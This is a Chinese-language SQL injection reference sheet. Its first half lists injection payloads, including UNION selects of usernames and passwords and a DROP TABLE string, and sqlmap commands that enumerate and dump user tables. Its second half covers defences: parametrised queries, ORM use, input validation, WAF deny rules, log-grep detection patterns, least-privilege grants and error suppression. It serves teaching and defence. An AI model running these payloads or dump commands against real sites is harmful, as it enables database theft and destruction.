SQL 注入检测与防御
SQL 注入检测与防御命令:注入类型与探测手法、sqlmap 自动化测试、参数化查询与数据库最小权限加固
SQL 注入识别
基本写法:经典注入测试载荷
`' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
admin'#
' OR 1=1 --`
# 经典 SQL 注入测试载荷
' OR '1'='1' --
基本写法:数字型注入测试
`1 OR 1=1
1; DROP TABLE users--
1 UNION SELECT NULL--
1 UNION SELECT username, password FROM users--`
# 数字型 SQL 注入测试
1 OR 1=1
1 UNION SELECT username, password FROM users--
基本写法:UNION 注入
`' UNION SELECT NULL--
' UNION SELECT username, password FROM users--
' UNION SELECT table_name FROM information_schema.tables--`
# UNION 注入获取数据
' UNION SELECT username, password FROM users--
sqlmap 自动化检测
基本写法:检测 URL 是否存在注入
sqlmap -u "<URL>"
# 检测目标 URL 是否存在 SQL 注入
sqlmap -u "http://example.com/page?id=1"
基本写法:指定注入参数
sqlmap -u "<URL>" -p <参数>
# 指定检测 id 参数
sqlmap -u "http://example.com/page?id=1" -p id
基本写法:POST 请求检测
sqlmap -u "<URL>" --data "<数据>"
# 检测 POST 请求的注入
sqlmap -u "http://example.com/login" --data "username=admin&password=123"
基本写法:使用 Cookie
sqlmap -u "<URL>" --cookie="<Cookie>"
# 带认证 Cookie 检测
sqlmap -u "http://example.com/page?id=1" --cookie="session=abc123"
基本写法:指定数据库类型
sqlmap -u "<URL>" --dbms=<数据库>
# 指定数据库类型为 MySQL
sqlmap -u "http://example.com/page?id=1" --dbms=mysql
sqlmap 数据提取
基本写法:枚举数据库
sqlmap -u "<URL>" --dbs
# 列出所有数据库
sqlmap -u "http://example.com/page?id=1" --dbs
基本写法:枚举表
sqlmap -u "<URL>" -D <数据库> --tables
# 列出指定数据库的表
sqlmap -u "http://example.com/page?id=1" -D mydb --tables
基本写法:枚举列
sqlmap -u "<URL>" -D <数据库> -T <表> --columns
# 列出表的列
sqlmap -u "http://example.com/page?id=1" -D mydb -T users --columns
基本写法:导出数据
sqlmap -u "<URL>" -D <数据库> -T <表> --dump
# 导出表中的所有数据
sqlmap -u "http://example.com/page?id=1" -D mydb -T users --dump
基本写法:导出指定列
sqlmap -u "<URL>" -D <数据库> -T <表> -C <列1>,<列2> --dump
# 导出指定列的数据
sqlmap -u "http://example.com/page?id=1" -D mydb -T users -C username,password --dump
参数化查询防御
基本写法:Java 参数化查询
`String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();`
// Java 使用 PreparedStatement 防止 SQL 注入
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();
基本写法:Python 参数化查询
`cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))`
# Python 使用参数化查询
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
基本写法:Node.js 参数化查询
`db.query('SELECT * FROM users WHERE id = ?', [userId], callback)`
// Node.js 使用参数化查询
db.query('SELECT * FROM users WHERE id = ?', [userId], (err, results) => {
// 处理结果
});
基本写法:PHP PDO 参数化
`$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userId]);`
// PHP PDO 参数化查询
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userId]);
ORM 防御
基本写法:Hibernate HQL
`String hql = "FROM User WHERE id = :id";
Query query = session.createQuery(hql);
query.setParameter("id", userId);`
// Hibernate 使用命名参数
String hql = "FROM User WHERE id = :id";
Query query = session.createQuery(hql);
query.setParameter("id", userId);
基本写法:Django ORM
`User.objects.filter(id=user_id)`
# Django ORM 自动参数化
User.objects.filter(id=user_id)
基本写法:SQLAlchemy
`session.query(User).filter(User.id == user_id)`
# SQLAlchemy ORM 自动参数化
session.query(User).filter(User.id == user_id)
输入验证
基本写法:白名单验证
`import re
if re.match(r'^[0-9]+$', user_id):
# 安全处理`
# 只允许数字的输入验证
import re
if re.match(r'^[0-9]+$', user_id):
safe_id = int(user_id)
基本写法:类型转换
`user_id = int(user_id)`
# 强制类型转换防止注入
user_id = int(request.args.get('id'))
基本写法:长度限制
`if len(username) <= 50:
# 处理输入`
# 限制输入长度
username = request.form.get('username', '')[:50]
WAF 规则防御
基本写法:ModSecurity 规则
`SecRule ARGS "(?i)(union|select|insert|update|delete|drop)" "id:1001,phase:2,deny,status:403"`
# ModSecurity 防止 SQL 注入
SecRule ARGS "(?i)(union|select|insert|update|delete|drop)" "id:1001,phase:2,deny,status:403"
基本写法:Nginx 防注入规则
`if ($args ~* "union.*select") {
return 403;
}`
# Nginx 简单防 SQL 注入
if ($args ~* "union.*select.*from") {
return 403;
}
日志监控
基本写法:检测 SQL 注入尝试
`grep -iE "union.*select|'--|' or '1'='1" /var/log/nginx/access.log`
# 在日志中检测 SQL 注入特征
grep -iE "union.*select|'--|' or '1'='1|;.*drop" /var/log/nginx/access.log
基本写法:统计可疑 IP
`grep -iE "union.*select" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn`
# 统计 SQL 注入尝试的 IP
grep -iE "union.*select|' or '1'='1" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -rn
基本写法:实时监控注入尝试
`tail -f /var/log/nginx/access.log | grep --line-buffered -iE "union.*select|'--"`
# 实时监控 SQL 注入尝试
tail -f /var/log/nginx/access.log | grep --line-buffered -iE "union.*select|'--|' or '1'='1"
数据库最小权限
基本写法:创建只读用户
GRANT SELECT ON <数据库>.<表> TO '<用户>'@'<主机>' IDENTIFIED BY '<密码>';
# 创建只读数据库用户
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT ON mydb.* TO 'webuser'@'localhost';
FLUSH PRIVILEGES;
基本写法:限制 DROP 权限
GRANT SELECT, INSERT, UPDATE ON <数据库>.* TO '<用户>'@'<主机>';
# 只授予必要权限不含 DROP
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webuser'@'localhost';
FLUSH PRIVILEGES;
基本写法:撤销危险权限
REVOKE DROP, ALTER ON <数据库>.* FROM '<用户>'@'<主机>';
# 撤销 DROP 和 ALTER 权限
REVOKE DROP, ALTER ON mydb.* FROM 'webuser'@'localhost';
FLUSH PRIVILEGES;
错误信息处理
基本写法:关闭数据库错误显示
`error_reporting(0);
ini_set('display_errors', 0);`
// PHP 关闭错误显示防止信息泄露
error_reporting(0);
ini_set('display_errors', 0);
基本写法:自定义错误页面
`try:
cursor.execute(sql)
except Exception as e:
log_error(e)
return "服务器错误", 500`
# Python 捕获异常返回通用错误
try:
cursor.execute(sql)
except Exception as e:
log_error(e)
return "服务器内部错误", 500
基本写法:Django 隐藏调试信息
`DEBUG = False
ALLOWED_HOSTS = ['example.com']`
# Django 生产环境配置
DEBUG = False
ALLOWED_HOSTS = ['example.com']